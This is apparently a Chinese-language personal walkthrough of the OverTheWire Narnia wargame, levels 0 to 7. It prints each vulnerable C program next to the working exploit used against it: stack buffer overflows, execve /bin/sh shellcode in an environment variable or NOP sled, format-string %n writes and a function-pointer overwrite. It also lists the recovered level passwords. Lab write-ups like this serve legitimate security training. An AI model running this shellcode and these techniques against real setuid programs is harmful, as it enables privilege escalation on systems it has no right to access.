//Description: 通过wargame的narnia学习linux反编译的一些笔记, shellcode
//Create Date: 2020-02-26 15:42:55
//Author: channy
ssh -p2226 narnia0@narnia.labs.overthewire.org
narnia0@narnia:/narnia$ ls -lrht
total 108K
-r-sr-x--- 1 narnia1 narnia0 7.3K Aug 26 22:35 narnia0
-r--r----- 1 narnia0 narnia0 1.3K Aug 26 22:35 narnia0.c
-r-sr-x--- 1 narnia2 narnia1 7.2K Aug 26 22:35 narnia1
-r--r----- 1 narnia1 narnia1 1021 Aug 26 22:35 narnia1.c
-r-sr-x--- 1 narnia3 narnia2 5.0K Aug 26 22:35 narnia2
-r--r----- 1 narnia2 narnia2 1022 Aug 26 22:35 narnia2.c
-r-sr-x--- 1 narnia4 narnia3 5.6K Aug 26 22:35 narnia3
-r--r----- 1 narnia3 narnia3 1.7K Aug 26 22:35 narnia3.c
-r-sr-x--- 1 narnia5 narnia4 5.2K Aug 26 22:35 narnia4
-r--r----- 1 narnia4 narnia4 1.1K Aug 26 22:35 narnia4.c
-r-sr-x--- 1 narnia6 narnia5 5.5K Aug 26 22:35 narnia5
-r--r----- 1 narnia5 narnia5 1.3K Aug 26 22:35 narnia5.c
-r-sr-x--- 1 narnia7 narnia6 5.9K Aug 26 22:35 narnia6
-r--r----- 1 narnia6 narnia6 1.6K Aug 26 22:35 narnia6.c
-r-sr-x--- 1 narnia8 narnia7 6.4K Aug 26 22:35 narnia7
-r--r----- 1 narnia7 narnia7 2.0K Aug 26 22:35 narnia7.c
-r-sr-x--- 1 narnia9 narnia8 5.1K Aug 26 22:35 narnia8
-r--r----- 1 narnia8 narnia8 1.3K Aug 26 22:35 narnia8.c
c语言的编译器在分配内存时,不只是按照变量的定义顺序来分配的,而且还参考了变量的类型。
这个程序读入24个字节的字符串放到BUF里, 多余的4个字节就会覆盖VAL, 进而改变VAL的值
narnia0@narnia:/narnia$ python -c 'print "a"*20 + "\xef\xbe\xad\xde" + "\x80" '
aaaaaaaaaaaaaaaaaaaaᆳހ
narnia0@narnia:/narnia$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: aaaaaaaaaaaaaaaaaaaaᆳހ
buf: aaaaaaaaaaaaaaaaaaaaᆳ�
val: 0xdeadbeef
$ whoami
narnia1
$ cat /etc/narnia_pass/narnia1
efeidiedae
//但是用python3就不行哦~
narnia0@narnia:/narnia$ python3 -c 'print("a"*20 + "\xef\xbe\xad\xde" + "\x80")'
aaaaaaaaaaaaaaaaaaaaï¾Þ
对于本题,用Linux/x86 - execve(/bin/dash) - 49 bytes by Chroniccommand
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
narnia1@narnia:/narnia$ export EGG=$'\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43'
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia2
$ cat /etc/narnia_pass/narnia2
nairiepecu
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
narnia2@narnia:/narnia$ ./narnia2 $(python -c 'print "\x90"*94+"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"\x50\xd8\xff\xff"')
$ whoami
narnia3
$ cat /etc/narnia_pass/narnia3
vaequeezee
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}
/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
/* close 'em */
close(ifd);
close(ofd);
exit(1);
}
ifile 和 ofile 挨在一起, 然后strcpy 又没有对长度进行一个检查,ofile比ifile先声明,所以ifile溢出以后存储的位置是在ofile中,将ofile原来的’/dev/null’覆盖了,从而能获取到下一个级别的密码
narnia3@narnia:/tmp/channy/aaaaaaaaaaaaaaaaaaaa/tmp/channy$ touch narnia4
narnia3@narnia:/tmp/channy/aaaaaaaaaaaaaaaaaaaa/tmp/channy$ ln -s /etc/narnia_pass/narnia4 /tmp/channy/aaaaaaaaaaaaaaaaaaaa/tmp/channy/narnia4
narnia3@narnia:/tmp/channy$ touch narnia4
narnia3@narnia:/tmp/channy$ chmod 777 narnia4
narnia3@narnia:/tmp/channy$ ls -al
total 148
drwxr-sr-x 3 narnia3 root 4096 Feb 29 01:38 .
drwxrws-wt 2230 root root 139264 Feb 29 01:38 ..
drwxr-sr-x 3 narnia3 root 4096 Feb 29 01:35 aaaaaaaaaaaaaaaaaaaa
-rwxrwxrwx 1 narnia3 root 0 Feb 29 01:38 narnia4
narnia3@narnia:/narnia$ ./narnia3 /tmp/channy/aaaaaaaaaaaaaaaaaaaa/tmp/channy/narnia4
copied contents of /tmp/channy/aaaaaaaaaaaaaaaaaaaa/tmp/channy/narn to a safer place... (/tmp/channy/narn)
narnia3@narnia:/tmp/channy$ cat narnia4
thaenohtai
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
extern char **environ;
int main(int argc,char **argv){
int i;
char buffer[256];
for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
if(argc>1)
strcpy(buffer,argv[1]);
return 0;
}
每16字节对齐的问题,只在256后面加跳转地址是不行的,需要再加8字节的对齐
narnia4@narnia:/narnia$ ./narnia4 $(python -c 'print "\x90"*226+"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"\x10\xd8\xff\xff"')
$ whoami
narnia5
$ cat /etc/narnia_pass/narnia5
faimahchiy
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int i = 1;
char buffer[64];
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Change i's value from 1 -> 500. ");
if(i==500){
printf("GOOD\n");
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
printf("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
return 0;
}
narnia5@melinda:/narnia$ ./narnia5 "$(python -c 'import sys; sys.stdout.write("\xdc\xd6\xff\xff%496x%05$n")')"
Change i's value from 1 -> 500. GOOD
$ whoami
narnia6
$ cat /etc/narnia_pass/narnia6
neezocaeng
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern char **environ;
// tired of fixing values...
// - morla
unsigned long get_sp(void) {
__asm__("movl %esp,%eax\n\t"
"and $0xff000000, %eax"
);
}
int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;
if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
/* clear environ */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear argz */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));
strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
//if(((unsigned long)fp & 0xff000000) == 0xff000000)
if(((unsigned long)fp & 0xff000000) == get_sp())
exit(-1);
fp(b1);
exit(1);
}
narnia6@melinda:/narnia$ ./narnia6 $(python -c 'print "sh;#" + "A"*4 + "\x70\x0e\xe6\xf7"' ) B
$ whoami
narnia7
$ cat /etc/narnia_pass/narnia7
ahkiaziphu
$
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int goodfunction();
int hackedfunction();
int vuln(const char *format){
char buffer[128];
int (*ptrf)();
memset(buffer, 0, sizeof(buffer));
printf("goodfunction() = %p\n", goodfunction);
printf("hackedfunction() = %p\n\n", hackedfunction);
ptrf = goodfunction;
printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
printf("I guess you want to come to the hackedfunction...\n");
sleep(2);
ptrf = goodfunction;
snprintf(buffer, sizeof buffer, format);
return ptrf();
}
int main(int argc, char **argv){
if (argc <= 1){
fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
exit(-1);
}
exit(vuln(argv[1]));
}
int goodfunction(){
printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
fflush(stdout);
return 0;
}
int hackedfunction(){
printf("Way to go!!!!");
fflush(stdout);
setreuid(geteuid(),geteuid());
system("/bin/sh");
return 0;
}
$ ./narnia7 $(python -c 'print "l\xd6\xff\xffm\xd6\xff\xffn\xd6\xff\xffo\xd6\xff\xff%145c%6$hhn%229c%7$hhn%126c%8$hhn%4c%9$hhn"')
goodfunction() = 0x804867b
hackedfunction() = 0x80486a1
before : ptrf() = 0x804867b (0xffffd66c)
I guess you want to come to the hackedfunction...
Way to go!!!!$ id
uid=14007(narnia7) gid=14007(narnia7) euid=14008(narnia8) groups=14008(narnia8),14007(narnia7)
$ cat /etc/narnia_pass/narnia8
mohthuphog
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global unti i find a fix
// -morla
int i;
void func(char *b){
char *blah=b;
char bok[20];
//int i=0;
memset(bok, '\0', sizeof(bok));
for(i=0; blah[i] != '\0'; i++)
bok[i]=blah[i];
printf("%s\n",bok);
}
int main(int argc, char **argv){
if(argc > 1)
func(argv[1]);
else
printf("%s argument\n", argv[0]);
return 0;
}